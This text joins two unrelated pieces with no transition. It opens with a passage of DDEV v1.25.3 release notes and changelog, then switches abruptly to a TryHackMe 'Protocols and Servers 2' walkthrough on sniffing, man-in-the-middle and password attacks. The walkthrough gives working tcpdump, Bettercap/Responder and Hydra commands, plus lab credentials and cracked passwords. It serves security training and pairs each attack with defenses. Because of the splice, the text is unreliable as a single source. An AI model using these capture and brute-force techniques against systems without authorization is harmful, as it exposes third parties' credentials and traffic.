• Add ddev config global --docker-buildx-version to specify which Docker Buildx version to use (advanced use only)
• Respect docker-buildx installed via snap on Linux
• Support Debian, Kali, and eLxr WSL2 distros in the Windows installer, and avoid installing docker-ce over an existing Docker Desktop docker binary
• Add ddev utility addon-update-checker command for add-on maintainers
• Add #ddev-interactive option for add-on actions, thanks to @AkibaAT
• Add x-ddev.omit-ddev-labels extension to skip com.ddev.* label injection for specific services
• Support the Flatpak user binary for DBeaver on Linux, thanks to @nickchomey
• Add a quickstart for Drupal 12 (HEAD), thanks to @rpkoller
• Add troubleshooting for Let's Encrypt certificate failures, thanks to @jonpugh

Bug Fixes

• Windows installer: fix installation on WSL2 Ubuntu 26.04, which previously failed due to the deprecated wslu package
• Suppress 404 logs for favicon.ico and robots.txt; in some cases these caused Nginx to run a PHP script twice
• Prevent recursion in global web command wrappers
• Use the correct settings.ddev.php for each Drupal version
• Fix a bug where .ddev/apache/apache-site.conf went missing when using a custom Nginx config
• Detect a missing docker CLI, which is required when using Mutagen
• Limit the ENV HOME="" workaround for MySQL 8.x to the database context only
• Podman and macOS: restrict the keep-id userns setting to Linux only
• Use the nodejs_version set during the ddev-webserver image build; if you installed global npm packages in post-start hooks, move them to extra Dockerfiles instead
• Use wrapper scripts in ddev-dbserver to avoid mysql deprecation warnings with MariaDB 11.x+
• Warn when the CAROOT environment variable is set but the mkcert CA files (needed for HTTPS in your browser) are inaccessible
• Normalize OSTYPE detection on Linux, thanks to @Mikee-3000
• Avoid double-sourcing bashrc configuration in ddev ssh
• Skip OS-generated metadata files (.DS_Store, Thumbs.db, desktop.ini) during custom-config detection and in .ddev/.gitignore
• Restore path autocompletion for ddev add-on get
• Don't prompt to run ddev poweroff after updating ddev-ssh-agent
• Fix a case typo in ddev sequelace so Sequel Ace is detected on case-sensitive macOS filesystems, thanks to @mficzel

Internal Changes

• Migrate DDEV documentation from Material for MkDocs to Zensical
• Upgrade Bubble Tea (ddev tui) to v2
• Add light/dark/system preference variants for the brand logo
• Remove automated testing on macOS Intel; macOS amd64 binaries are still built and distributed, only CI testing on Intel hardware is removed
• Add automated testing for macOS Podman rootless
• Improve the test embargo system for Go, Bats, and CI workflows; tests can now be skipped when needed
• Add custom GitHub workflows to run tests on branches without opening a PR
• Rework local HTTP test helpers for clearer failure output
• Remove the build step for the Docker image used in ddev auth ssh
• Bump all Go dependencies

Minor Updates

• PHP 8.4.22 and 8.5.7

What's Changed

• test: Reenable Drupal 12 bats test (#8346) [skip ci] by @rpkoller in #8346
• chore(claude): fix PreToolUse hook matcher for git commit static analysis (#8345) [skip ci] by @stasadev in #8345
• docs(add-ons): Minor updates to creating-add-ons.md by @rfay in #8347
• perf: combined startup time optimizations, for #8096 by @jonesrussell in #8145
• fix(windows): remove wslu from installer, fixes #8326 by @stasadev in #8351
• fix(webserver): replace phar.io/filippo.io links with GitHub releases, improve Dockerfile, for #8012 by @stasadev in #8352
• docs(quickstart): add a quickstart for Drupal 12 (#8357) [skip ci] by @rpkoller in #8357
• feat(docker): always pull images with --no-cache by @stasadev in #8363
• fix(download-images): pull webserver image, for #8304 by @stasadev in #8358
• fix(start): use image digest for rebuild detection, fix rand and ssh-agent data races, for #8145 by @stasadev in #8359
• fix(test): skip TestCheckLiveConnectivityWithProject on Rancher/Colima/Lima, fix misleading WSL2 labels by @rfay in #8365
• docs(windows): add WSL2 installation step to Docker docs by @stasadev in #8355
• chore: fix claude hooks and update agent docs [skip ci] by @rfay in #8370
• chore: remove macOS amd64 CI testing (#8372) [skip ci] by @rfay in #8372
• fix(drupal): use configured project type for settings.php version selection by @rfay in #8366
• ci: run golangci-lint by @stasadev in #8375
• docs(mutagen): explain how to reset to the default mode, fixes #8367 by @silverham in #8368
• docs(configuration): Add ddev config --database=<database type>:<version> example command (#8387) [skip ci] by @silverham in #8387
• build: bump fuxingloh/multi-labeler from 4 to 5 (#8385) [skip ci] by @dependabot[bot] in #8385
• docs: clarify --cleanup --name for single snapshot deletion (#8384) [skip ci] by @CallMeLeon167 in #8384
• docs(add-ons): add real example for bats testing (#8377) [skip ci] by @stasadev in #8377
• fix(commands): normalize $OSTYPE detection for linux, fixes #8382 by @Mikee-3000 in #8383
• docs: Add Xcode iOS simulator info (#8371) [skip ci] by @jamesmacwhite in #8371
• feat(utility): add ddev utility addon-update-checker command by @stasadev in #8373
• fix(add-ons): autocomplete for path by @stasadev in #8376
• test(wsl2): fix TestHostDBPort by @stasadev in #8391
• test(windows): fix TestUtilityAddonUpdateCheckerCmd, for #8373 by @stasadev in #8394
• docs(quickstart): Add description to Drupal Git clone example by @gitressa in #8395
• fix(ddev-webserver): ddev stop takes 10s due to bash deferring SIGTERM during foreground cat, fixes #8295 by @rfay in #8396
• docs: unify homeadditions path resolution and Composer auth.json handling by @eiriksm in #8400
• docs(providers): align --environment examples and flags, fixes #8402 by @stasadev in #8403
• test(share): improve cloudflared debug output on unmarshal errors by @rfay in #8398
• ci(github): reorganize test jobs, add custom workflow_dispatch, remove unused workflows by @stasadev in #8401
• feat(add-on): add #ddev-interactive option for actions, fixes #8155 by @AkibaAT in #8381
• refactor(tui): upgrade bubbletea/bubbles/lipgloss to v2 by @stasadev in #8404
• ci: add DDEV_EMBARGO_PHP_VERSIONS to skip specific PHP versions in TestPHPConfig [skip ci] by @rfay in #8407
• feat: use docker-compose library, optionally download docker-buildx, fixes #7915, for #8295 by @stasadev in #8234
• ci(docs): add stable docs branch workflow, fixes #7862 by @stasadev in #8408
• ci(forks): fetch variables from public-variables branch by @stasadev in #8410
• ci(wsl2): read public-variables in pwsh, for #8410 by @stasadev in #8411
• ci: improve test embargo system for Go, bats, and CI workflows by @stasadev in #8413
• docs(config): improve wording for database and docker_buildx_version, for #8387 by @stasadev in #8409
• refactor: improve CheckAvailableSpace reliability and output, fixes #8388 by @wolcen in #8412
• ci(buildkite): fix MSYS path conversion breaking public-variables fetch on Windows, for #8410 by @stasadev in #8416
• docs(brand-guide): add light, dark, and auto logo variants to logos table, fixes #8417 by @stasadev in #8419
• feat(docs): migrate from mkdocs-material to zensical, fixes #7840, fixes #8216 by @stasadev in #8421
• docs(add-ons): mention #ddev-generated in quickstart by @chx in #8420
• ci(docs): enable zensical strict mode, use dynamic Pages base URL, for #8421 by @stasadev in #8423
• fix(ddev-dbserver): unlink stale socket before mysqld init by @stasadev in #8424
• test: add details to TestCmdAddonPHP by @stasadev in #8425
• chore(sponsors): update percentage and api link [skip ci] by @stasadev in #8427
• ci(pr): migrate to ddev/commit-message-checker@v3 by @stasadev in #8428
• test(lima): fix broken cleanup in TestCmdAddonPHP, for #8425 by @stasadev in #8430
• fix: replace remaining world writeable directories, fixes #8251 by @AkibaAT in #8379
• chore(composer): add COMPOSER_NO_BLOCKING by @stasadev in #8432
• fix(exec): allocate TTY only when stdout is also a terminal, for #8234 by @stasadev in #8431
• feat(docker-rootless): remove no-bind-mounts requirement, test gvisor-tap-vsock by @stasadev in #8426
• build: pin Node.js to 24.15.0, fixes #8436 by @stasadev in #8438
• test(linux): wait for nc to bind before asserting in port-diagnose tests by @stasadev in #8446
• test: rework local HTTP test helpers with clearer failure output by @stasadev in #8447
• fix(nodejs): move install to Dockerfile, add ~/n/bin to PATH, fixes #8414, fixes #8415 by @stasadev in #8443
• fix(zensical): retry strict build on false-positive "page does not exist" warnings by @stasadev in #8451
• ci(linux): use full homebrew formulae name, fixes #8450 by @stasadev in #8455
• test(quickstart): update asterios page check by @stasadev in #8454
• feat: add MariaDB 12.3 LTS support, fixes #8452 by @rfay in #8453
• fix(dbserver): use wrapper scripts for MariaDB 11.x+ MySQL compat, fixes #6861 by @stasadev in #8456
• test(buildkite): Fix brew upgrade to use -y for new 6.0.0 release, fix setup-homebrew by @rfay in #8469
• build(gnupg): Remove references to obsolete gnupg2 by @rfay in #8475
• fix: recreate service on ddev utility rebuild -s, support profile services by @stasadev in #8463
• fix(nodejs): preserve nodejs_version in config.yaml, fixes #8186 by @stasadev in #8462
• fix(nodejs): move N_PREFIX to /usr/local/n and make it writable, fixes #8465 by @stasadev in #8467
• fix(nginx): suppress favicon.ico and robots.txt 404 logs, fixes #7010 by @stasadev in #8461
• fix(ssh): use RawCmd to avoid double-sourcing bashrc, fixes #5232 by @stasadev in #8460
• docs: install util-linux-extra in Docker setup, fixes #8350 (#8480) [skip ci] by @rfay in #8480
• feat: improve ddev list/describe table layout, add OSC 8 terminal hyperlinks, fixes #5535, fixes #6113 (#8474) [skip ci] by @rfay in #8474
• fix: skip OS-generated metadata files in custom-config detection and .ddev/.gitignore, fixes #8418 (#8478) [skip ci] by @rfay in #8478
• fix(mutagen): detect missing docker CLI early, fixes #8457 by @rfay in #8479
• docs(docker): add troubleshooting for permission denied, for #8471 (#8483) [skip ci] by @stasadev in #8483
• test(quickstart): update shopware6 by @stasadev in #8482
• fix: warn when CAROOT is set but CA files are inaccessible, fixes #8485 (#8486) [skip ci] by @rfay in #8486
• fix(tui): prevent docker/cli stdin from consuming TUI shortcuts, fixes #8440 by @stasadev in #8489
• fix: add /usr/local/n/bin to sudo secure_path, fixes #8488 by @stasadev in #8490
• fix(start): show warnings from log-stderr.sh on start, fixes #8441 by @stasadev in #8481
• build(deps): bump go dependencies, migrate to go-github v88 by @stasadev in #8492
• test(quickstart): pin @sveltejs/adapter-node@5.5.4 by @stasadev in #8497
• test(docs): Ignore link check URLs [skip ci] by @rfay in #8499
• build: bump actions/checkout from 6 to 7 (#8504) [skip ci] by @dependabot[bot] in #8504
• fix: restrict XDG_CONFIG_HOME to Linux, add DDEV_XDG_CONFIG_HOME for cross-platform overrides, fixes #8493 by @rfay in #8494
• fix(webserver): prevent recursion in global web command wrappers, for #6902 by @stasadev in #8495
• fix(nodejs): always install gulp-cli and yarn, fixes #8496 (#8498) [skip ci] by @stasadev in #8498
• feat(windows): support Debian and Kali WSL2 distros in GUI installer, fixes #8439, fixes #8468 by @rfay in #8464
• build: Fix gomt error that crept in [skip ci] by @rfay in #8509
• test: Add script to compare start time performance [skip ci] by @rfay in #8510
• test(quickstart): remove pin for @sveltejs/adapter-node, for #8497 by @stasadev in #8511
• ci(github): add brew sandbox setup, remove obsolete env, for #8469 by @stasadev in #8512
• fix(mysql): guard ENV HOME injection to db context only, fixes #8508 by @stasadev in #8513
• fix(docker): do not cache build on start, fixes #8433 by @stasadev in #8506
• feat(drupal): Support new dr command built into drupal11.4+, fixes #8500 by @rfay in #8507
• fix(dbeaver): Add flatpak user binary path to search list, fixes #8517 by @nickchomey in #8518
• refactor(auth-ssh): remove build step, fixes #8501 by @stasadev in #8503
• feat: allow mutagen with use-hardened-images, for #3680 by @stasadev in #8491
• feat(docker): respect docker-buildx from snap on linux, fixes #8515 by @stasadev in #8519
• docs: replace newgrp with sg for docker group activation, fixes #8350 by @rfay in #8524
• fix(commands): correct case typo in ddev sequelace, fixes #8521 (#8522) [skip ci] by @mficzel in #8522
• build(deps): bump moby and docker-compose by @stasadev in #8523
• docs: skip codeberg, use stable link for docs in github workflows (#8528) [skip ci] by @stasadev in #8528
• build: remove pin for Node.js, for #8438 by @stasadev in #8527
• fix(start): do not ask for poweroff with new ddev-ssh-agent, fixes #8520 by @stasadev in #8525
• ci(podman): update workflow for Podman 6 by @stasadev in #8526
• fix(podman): restrict keep-id userns to Linux only, fixes #8223, fixes #8529 by @stasadev in #8516
• docs: Remove link to very old processwire thread (#8533) [skip ci] by @rfay in #8533
• fix: continue when #ddev-generated is missing in generate config functions, for #2305 by @stasadev in #8532
• docs: Ignore winaero.com, cert expired [skip buildkite] (#8537) [skip ci] by @rfay in #8537
• ci: add macOS Podman rootless Buildkite pipeline, for #8223 (#8530) [skip ci] by @rfay in #8530
• test(auth-ssh): harden ddevauthssh.expect against passphrase prompt race by @stasadev in #8536
• build: bump actions/cache from 5 to 6 (#8538) [skip ci] by @dependabot[bot] in #8538
• fix: stop honoring XDG_CONFIG_HOME on Linux too, use DDEV_XDG_CONFIG_HOME, fixes #8493 by @stasadev in #8531
• fix: correct typos in global and project config comment docs (#8541) [skip ci] by @stasadev in #8541
• test: fix TestCheckForMultipleGlobalDdevDirs on Windows, for #8531 (#8542) [skip ci] by @rfay in #8542
• feat: add x-ddev.omit-ddev-labels to skip com.ddev.* label injection, fixes #8389 by @stasadev in #8540
• build(docker): bump images to v1.25.3 for release, fixes #8544 by @stasadev in #8547
• ci(buildkite): trim podman machine and run maintenance post-test (#8551) [skip ci] by @stasadev in #8551
• docs(typo3): require Camino theme, drop empty distribution prompt (#8548) [skip ci] by @rfay in #8548
• docs(hosting): add guidance for Let's Encrypt failures by @jonpugh in #8543
• docs(docker): add Podman and Docker rootless setup, fixes #8434 by @stasadev in #8552
• ci(macos): untap pre-installed aws/tap before brew install by @rfay in #8559
• docs(wsl2): use Ubuntu-26.04 instead of Ubuntu-24.04, for #8326, for #8408 by @stasadev in #8553
• fix(webserver): restore nonstandard router port in HTTP_HOST for nginx-fpm, fixes #8554 by @rfay in #8555
• fix(router): temp pin for traefik:3.6.13, for #8562 by @stasadev in #8564
• fix(shopware): pin Twig <3.28 to work around admin HTTP 500 by @rfay in #8557
• docs: add TYPO3 special handling for ddev share, fixes #7799 by @rfay in #8556

New Contributors

• @silverham made their first contribution in #8368
• @CallMeLeon167 made their first contribution in #8384
• @Mikee-3000 made their first contribution in #8383
• @wolcen made their first contribution in #8412
• @chx made their first contribution in #8420
• @mficzel made their first contribution in #8522
• @jonpugh made their first contribution in #8543

Full Changelog: v1.25.2...v1.25.3

No exploit. No zero-day. Just a protocol that was never built to keep a secret.

That’s the uncomfortable little truth this room is built around. So let’s pull it apart.

Most of the internet’s classic protocols were designed in a more trusting era. It was a time when the people sharing a network mostly knew each other, and “someone might be listening” wasn’t the default assumption.

Those protocols still run everywhere. And many of them still send your credentials across the wire in plain text.

Protocols and Servers 2 on TryHackMe is about exactly that gap, and what closes it. It walks through three foundational attacks against network protocols, then the defenses that neutralize each one:

• Sniffing — quietly reading traffic off the wire
• Man-in-the-Middle (MITM) — sitting between two parties and tampering
• Password attacks — guessing or cracking the credentials themselves

This is a writeup of the whole room: the concepts in plain language, the commands that matter, and the task answers explained. If you’re working through it yourself, follow along.

One idea ties the entire room together: cleartext protocols are insecure by design. Everything else is a consequence of that single fact.

Part 1 — Sniffing Attacks

A sniffing attack is the simplest idea in the room: use a packet-capture tool to grab traffic as it crosses the network, then read it.

If a protocol talks in cleartext, anyone positioned to see that traffic can pull out private messages or login credentials. Nothing is encrypted before it leaves your machine.

"Isn't everything encrypted now?"

It’s tempting to think sniffing is a solved, retro problem now that TLS is everywhere. It isn’t. It stays dangerous wherever cleartext still lives:

• Internal corporate networks, where machine-to-machine traffic is often left unencrypted
• Legacy systems like old mail servers, embedded devices, and industrial control systems
• Misconfigured services where TLS is available but not strictly enforced
• IoT devices that habitually use plain protocols
• Wireless networks, where anyone in range can listen
• After a MITM attack that has successfully downgraded or stripped encryption

In real internal pentests and red-team work, sniffing is still one of the most reliable ways to harvest credentials and learn how systems actually talk to each other.

The tools

Capturing packets needs a network card and the right privileges (root on Linux, administrator on Windows). Here are the staples:

• tcpdump — lightweight open-source CLI capture tool, preinstalled on most Linux systems.
• Wireshark — the GUI standard, with powerful filtering, protocol dissection, and visualization.
• tshark — Wireshark’s command-line sibling, great for scripting.

Worth knowing too: tcpflow (reassembles TCP streams), ngrep (pattern-matching in traffic), and NetworkMiner (extracts files from captures).

Specialized credential-grabbers exist, but tcpdump and Wireshark can do the job with a little effort.

Capturing POP3 credentials with tcpdump

The classic demo: a user checks email over POP3 (port 110, cleartext).

With access to the traffic — via a wiretap, a switch’s port mirroring, ARP spoofing, a compromised host, or a successful MITM — you run this command:

sudo tcpdump port 110 -A

Breaking that down:

• sudo — packet capture needs root privileges.
• port 110 — only keep traffic to or from the POP3 server.
• -A — print packet contents as ASCII, so cleartext is human-readable.

In the capture, the login arrives across two packets and reads straight out:

… USER frank … PASS D2xc9CgD

Username frank, password D2xc9CgD, handed over in plain sight.

Wireshark gets you there even faster: type “pop” in the display filter, and only POP3 traffic remains, credentials included.

Handy tcpdump filters

+------------------------------------+-----------------------------------------------------------+
| Command                            | Purpose                                                   |
+------------------------------------+-----------------------------------------------------------+
| sudo tcpdump port 110 -A           | Capture traffic on port 110 (POP3) in readable ASCII      |
| sudo tcpdump host 10.20.30.148 -A  | Capture ASCII traffic to/from a specific host IP          |
| sudo tcpdump port 80 -A            | Capture HTTP traffic (credentials in POST data)           |
| sudo tcpdump port 21 -A            | Capture FTP traffic (cleartext credentials)               |
| sudo tcpdump -w capture.pcap       | Save raw network packets to a file for later analysis     |
| tcpdump -r capture.pcap -A         | Read and display a saved capture file in ASCII text       |
+------------------------------------+-----------------------------------------------------------+

Mitigation

Any cleartext protocol is exposed. The only requirement for the attack is a vantage point between the two parties or on the same network segment.

The core fix is encryption. This means wrapping the protocol in TLS (like HTTP to HTTPS, FTP to FTPS, or POP3 to POP3S) and replacing Telnet with SSH.

Layered on top of that:

• Network segmentation to limit who can see whose traffic
• Encrypted VLANs or tunnels for sensitive internal traffic
• 802.1X port-based authentication so unknown devices can’t connect
• Zero-trust thinking: treat every network as hostile and encrypt everything
• Monitoring for ARP spoofing and other redirection to catch sniffing in progress

Question: How do you capture only Telnet traffic with tcpdump? Answer: Telnet runs on port 23, so you add “port 23”.

Question: What is the simplest Wireshark display filter for IMAP? Answer: “imap”.

Part 2 — Man-in-the-Middle (MITM) Attacks

Sniffing is passive listening. A MITM attack is active.

The attacker slips between two parties (A and B) so that A thinks it’s talking to B, while everything actually flows through the attacker. They can read and completely alter the data.

The room’s example says it best: A asks to transfer $20, the attacker rewrites the amount mid-flight, and B acts on the tampered message.

It works whenever the protocol doesn’t verify the authenticity and integrity of each message.

Getting into the middle

To sit between two parties, an attacker has to redirect traffic through their own machine. Common routes include:

• ARP spoofing — on a local network, the attacker sends forged ARP messages tying their own MAC address to the gateway’s IP, routing traffic directly to them.
• DNS spoofing — feeding false DNS answers to send victims to attacker-controlled servers.
• Rogue access points — fake Wi-Fi setups (like “Airport_WiFi_Free”) that route every connected victim’s traffic through the attacker.
• BGP hijacking — announcing false routes at the internet’s routing layer to reroute traffic for whole organizations or regions.

The tooling

• Bettercap — the modern, actively maintained successor to Ettercap. Handles ARP/DNS spoofing, HTTP/HTTPS proxying, and is modular.
• Ettercap — the classic LAN MITM tool. It still works, but Bettercap is generally preferred today.
• mitmproxy — an interactive HTTPS proxy used for inspecting and modifying web traffic on the fly.
• Responder — Windows-focused. Abuses fallback name-resolution protocols (LLMNR, NBT-NS) that kick in when DNS fails, answering with its own IP to capture authentication hashes. A staple of internal Active Directory pentests.

MITM against encrypted traffic

Encryption raises the bar, but it isn’t a magic shield:

• SSL stripping — quietly downgrade the victim’s connection to plain HTTP while the attacker keeps an HTTPS link to the real server. This is easy to miss if the user never typed “https://” or didn’t check for the padlock icon.
• Fake certificates — present your own certificate and run two separate encrypted legs. This works if the victim blindly clicks through the browser warning or if a Certificate Authority is compromised.
• Compromised or rogue CAs — the most serious case. If an attacker controls a trusted CA, they can mint valid-looking certificates for absolutely any domain.

Modern defenses

A decade of security hardening makes MITM much harder now:

• HTTPS by default (browsers flag plain HTTP as “Not Secure”)
• HSTS (forces HTTPS and blocks stripping attacks)
• Certificate Transparency (public, auditable logs of all issued certificates)
• Certificate pinning (apps accept only specific, hardcoded keys)
• DANE (publishing certificate info in DNSSEC-signed DNS)

MITM still succeeds when users ignore certificate warnings, apps validate keys poorly, the target speaks cleartext, or legacy gear lacks modern features.

The fundamental fix remains the same: cryptography. You need authentication plus encryption/signing, which is exactly what properly implemented TLS provides.

Question 1: How many interfaces does Ettercap offer?

Answer: 3

Question 2: How many ways can you invoke Bettercap?

Answer: 3

Part 3 — TLS: The Fix for Both Attacks

Both sniffing and MITM share one cure: TLS (Transport Layer Security). This part of the room is the solution chapter.

A quick history

SSL appeared in 1994 via Netscape, with SSL 3.0 dropping in 1996 as the web grew into shopping and payments. TLS succeeded it in 1999.

Where things stand now:

• SSL 2.0 and 3.0 are deprecated and highly insecure. Never use them.
• TLS 1.0 and 1.1 were officially deprecated in 2021 and dropped by major browsers.
• TLS 1.2 (from 2008) is still widely used and secure when configured with modern ciphers.
• TLS 1.3 (from 2018) is the current standard. It features fewer algorithms, a faster handshake, and forward secrecy by default.

People still say “SSL certificate” out of habit, but in practice, everything modern uses TLS.

Where TLS sits

Cleartext application-layer protocols send data entirely in the open.

TLS adds encryption just below the application protocol, wrapping its data before it hits the network card. On the OSI model, it lives right between the transport and application layers.

Upgrading protocols with TLS

• HTTP (Port 80) upgrades to HTTPS (Port 443)
• FTP (Port 21) upgrades to FTPS (Port 990)
• SMTP (Port 25) upgrades to SMTPS (Port 465)
• POP3 (Port 110) upgrades to POP3S (Port 995)
• IMAP (Port 143) upgrades to IMAPS (Port 993)

It’s not just web and mail. DNS can be wrapped too via DoT (DNS over TLS) on port 853, or DoH (DNS over HTTPS) on port 443. Both stop eavesdroppers from seeing which sites you look up.

Implicit TLS vs STARTTLS

• Implicit TLS uses a dedicated port that is fully encrypted from the very first byte (like 443 or 993).
• STARTTLS connects in cleartext on the normal port, then issues a “STARTTLS” command to upgrade the connection in place. This is common for email setup.

Both offer encryption, but implicit TLS is highly preferred.

A MITM attacker can easily strip the STARTTLS command during negotiation and force the session to stay in cleartext if the client isn’t configured to require it.

How HTTPS works

Plain HTTP takes two steps: open a TCP connection, then send requests. HTTPS inserts a step in between:

1. Establish a standard TCP connection.
2. Establish a TLS connection (the handshake).
3. Send the HTTP requests, which are now fully encrypted.

A simplified TLS 1.2 handshake goes like this:

ClientHello (client offers its TLS versions and cipher suites) → ServerHello (server picks the parameters and sends its certificate) → Key Exchange (both derive a shared secret) → Finished (both confirm and switch to encrypted communication):

ClientHello → ServerHello → Key Exchange → Finished

Certificates and trust

HTTPS leans on certificates signed by trusted Certificate Authorities (CAs). Your browser expects a valid certificate from a trusted CA, which proves you’re talking to the real server and blocks easy MITM attempts.

A certificate shows who it was issued to, who issued it, and its validity period. An expired certificate should never be trusted.

The modern ecosystem made this nearly universal thanks to automated platforms like Let’s Encrypt, which pushed global HTTPS traffic past 95%.

Question: What is the three-letter acronym for the DNS protocol that uses TLS?

Answer: DoT (DNS over TLS)

Part 4 — SSH: Secure Remote Administration

SSH (Secure Shell) is the secure replacement for Telnet. It is the universal way to administer servers, network gear, and cloud infrastructure.

The “S” means you can confirm the server’s identity, your messages are encrypted for the intended recipient only, and any data tampering is instantly detectable.

It handles confidentiality and integrity seamlessly over port 22.

Authentication methods

• Password — The simplest method. The password rides the encrypted channel, but weak choices can still fall to brute-force attacks.
• Public key (recommended) — A private key stays on your machine, while the public key goes on the server. The server challenges you to prove you hold the private key without ever transmitting it.
• Certificate-based — An SSH CA signs user and host keys. This scales incredibly well because you don’t have to manually distribute public keys to every single server.
• MFA — Combines a traditional key or password with a one-time code for high-security environments.

Connecting

• To connect, you run:

ssh mark@MACHINE_IP

Enter the password or let your key authenticate, and you are on the remote terminal. Every single command you send runs over an encrypted channel.

Question: Connect as mark (password XBtc49AB) and find the kernel release with uname -r.

Commands: ssh mark@MACHINE_IP uname -r

Answer: 5.15.0–119-generic

Host key verification

On your very first connection, SSH shows the server’s key fingerprint and asks if you want to continue.

Ideally, you verify this fingerprint through an admin or config management before typing “yes”. It is then saved in your local known_hosts file.

If that key ever changes unexpectedly in the future, SSH throws a massive warning, a major indicator of a potential MITM attack or a reinstalled server.

Generating keys

• To create a new key pair, run:

ssh-keygen -t ed25519 -C "your_email@example.com"

The private key stays strictly on your machine and should be passphrase-protected. The public key (.pub) is safe to share. You can push it to a remote server easily using:

ssh-copy-id mark@MACHINE_IP

Useful options

+--------------------------------------------+------------------------------------------------------------+
| Command                                    | Purpose                                                    |
+--------------------------------------------+------------------------------------------------------------+
| ssh -p 2222 mark@MACHINE_IP                | Connect to a remote server running on a non-standard port   |
| ssh -i ~/.ssh/custom_key mark@MACHINE_IP   | Specify a specific private key file to use for login       |
| ssh -J bastion.example.com mark@internal   | Jump through a secure bastion host to reach an internal IP |
| ssh -L 8080:localhost:80 mark@MACHINE_IP   | Set up a local port forward to tunnel traffic through SSH  |
| ssh -D 9050 mark@MACHINE_IP                | Create a dynamic SOCKS proxy forward for traffic routing   |
| ssh mark@MACHINE_IP "cat /etc/passwd"      | Run a single, one-off command without opening a full shell |
+--------------------------------------------+------------------------------------------------------------+

Secure file transfer

• SFTP — Interactive, FTP-like file management running completely over SSH. This is the recommended choice today.
• SCP — Simple file copies over SSH. This is now deprecated by OpenSSH in favor of SFTP, though it still works on most systems.
• rsync over SSH — The best option for large or repeated transfers because it only copies the specific parts of files that changed.

To copy files via SCP:

scp mark@MACHINE_IP:/home/mark/archive.tar.gz ~/ (remote to local)

scp backup.tar.bz2 mark@MACHINE_IP:/home/mark/ (local to remote)

Quick clarifier:

SFTP runs over SSH (port 22).

FTPS is FTP-over-TLS (port 990).

They are entirely different protocols despite having similar names.

Question: Download book.txt from the remote system; what download size did scp display in KB?

Command: scp mark@MACHINE_IP:/home/mark/book.txt ~/

Answer: 415

Hardening SSH

To protect a server, you can modify its config file (/etc/ssh/sshd_config):

• Set PasswordAuthentication to “no” once public keys are established.
• Set PermitRootLogin to “no” to force users to log in with regular accounts first.
• Use AllowUsers or AllowGroups to create an explicit access whitelist.
• Change the default port to reduce automated log noise.
• Deploy fail2ban to automatically block IPs with repeated failed login attempts.

Part 5 — Password Attacks

Even with a network fully encrypted, authentication remains a primary target. Authentication is simply the act of proving your identity, like entering a password to access a service.

The three factors:

• Something you know — a password or PIN
• Something you have — a phone, hardware security key, or smart card
• Something you are — a fingerprint or facial scan

This section focuses entirely on attacking “something you know.”

Why weak passwords persist

Massive historic breaches show that old habits die hard.

The most common passwords found in modern breaches still include variations like 123456, password, qwerty, Password1, and seasonal choices like Summer2024.

Because people constantly reuse passwords across multiple sites, a single leak frequently gives attackers access to entirely unrelated corporate or personal accounts.

Types of attacks

• Guessing — using personal info like a target’s pet, birth year, or favorite sports team harvested from social media.
• Dictionary— automatically trying lists of real words and common variations.
• Brute force — systematically trying every possible characters combination. This is exhaustive, which is why password length matters so much.
• Credential stuffing — taking leaked username/password pairs from old breaches and automatically testing them against other web services.
• Password spraying — testing one or two incredibly common passwords against a massive list of user accounts to dodge lockout policies.
• Hybrid — combining dictionary words with systematic patterns, like capitalizing the first letter and adding a year to the end.

Wordlists

• The classic go-to wordlist is RockYou, located on the TryHackMe AttackBox at:

/usr/share/wordlists/rockyou.txt

Beyond that, security professionals use collections like SecLists, CrackStation lists, or custom-generated lists tailored specifically to the target’s language, region, or industry habits.

THC Hydra

Hydra is a fast network login cracker that throws wordlists at live services like FTP, POP3, IMAP, SSH, and HTTP.

The basic syntax looks like this:

hydra -l username -P wordlist.txt server service

• -l specifies a single username (-L for a text file of names)
• -P specifies a password wordlist (-p for a single password)
• server is the target IP or hostname
• service is the protocol you are targeting

Examples:

hydra -l mark -P /usr/share/wordlists/rockyou.txt MACHINE_IP ftp
hydra -l frank -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh
hydra -l lazie -P /usr/share/wordlists/rockyou.txt MACHINE_IP imap

Handy options include -s to target a non-default port, -vV for detailed verbosity, -t to adjust parallel attack threads, and -f to immediately stop execution when the first valid password is found.

Other tools

Alternative online crackers include Medusa and Ncrack.

For Windows and Active Directory environments, tools like NetExec excel at spraying credentials over SMB and LDAP.

If you manage to dump password hashes from a database, offline tools like Hashcat or John the Ripper are used because they can guess millions of combinations per second without worrying about network lag or lockouts.

Mitigation

Defending against password attacks requires a modern approach to identity management:

• Enforce length-first password policies based on NIST guidelines. Favor overall length over complex character rotation, and check new passwords against lists of known compromised credentials.
• Implement strict account lockout or throttling mechanisms to kill automated automated guessing, while remaining aware of password spraying patterns.
• Use CAPTCHAs to prevent basic bot execution on login forms.
• Deploy Multi-Factor Authentication (MFA) across all external endpoints.
• Transition toward passwordless ecosystems, utilizing passkeys (FIDO2/WebAuthn), hardware keys, or verified magic links.

Question: One email account is lazie; what password accesses the IMAP service?

Command: hydra -l lazie -P /usr/share/wordlists/rockyou.txt MACHINE_IP imap

Answer: butterfly

Key Takeaways

The fundamental rule of network security is simple:

Cleartext protocols are inherently insecure.

Anything sent without encryption can be effortlessly intercepted by sniffing or manipulated via a Man-in-the-Middle attack.

The security path forward is uniform across all services:

• Use HTTPS instead of HTTP
• Use SSH instead of Telnet
• Use SFTP or FTPS instead of basic FTP
• Use IMAPS, POP3S, and SMTPS instead of their legacy cleartext variants

Even when a connection is perfectly encrypted, weak passwords remain a glaring vulnerability.

Secure the protocol with robust encryption, then secure the account with long passwords, rate limiting, and multi-factor authentication.

Quick Port Reference Guide

+-------------------+------+----------------+
| Protocol          | Port | Security       |
+-------------------+------+----------------+
| FTP               | 21   | Cleartext      |
| FTPS              | 990  | TLS (implicit) |
| HTTP              | 80   | Cleartext      |
| HTTPS             | 443  | TLS (implicit) |
| IMAP              | 143  | Cleartext      |
| IMAPS             | 993  | TLS (implicit) |
| POP3              | 110  | Cleartext      |
| POP3S             | 995  | TLS (implicit) |
| SMTP              | 25   | Cleartext      |
| SMTP submission   | 587  | STARTTLS       |
| SMTPS             | 465  | TLS (implicit) |
| SSH / SFTP        | 22   | Encrypted (SSH)|
| Telnet            | 23   | Cleartext      |
+-------------------+------+----------------+

Room: Protocols and Servers 2 — TryHackMe (https://tryhackme.com/room/protocolsandservers2). This writeup is for educational purposes; only test systems you’re authorized to. Have fun!

This article was written by Pop123 as a walkthrough for the TryHackMe lab. I am as always open to further discussing the topic.

Protocols and Servers 2 TryHackMe Writeup was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

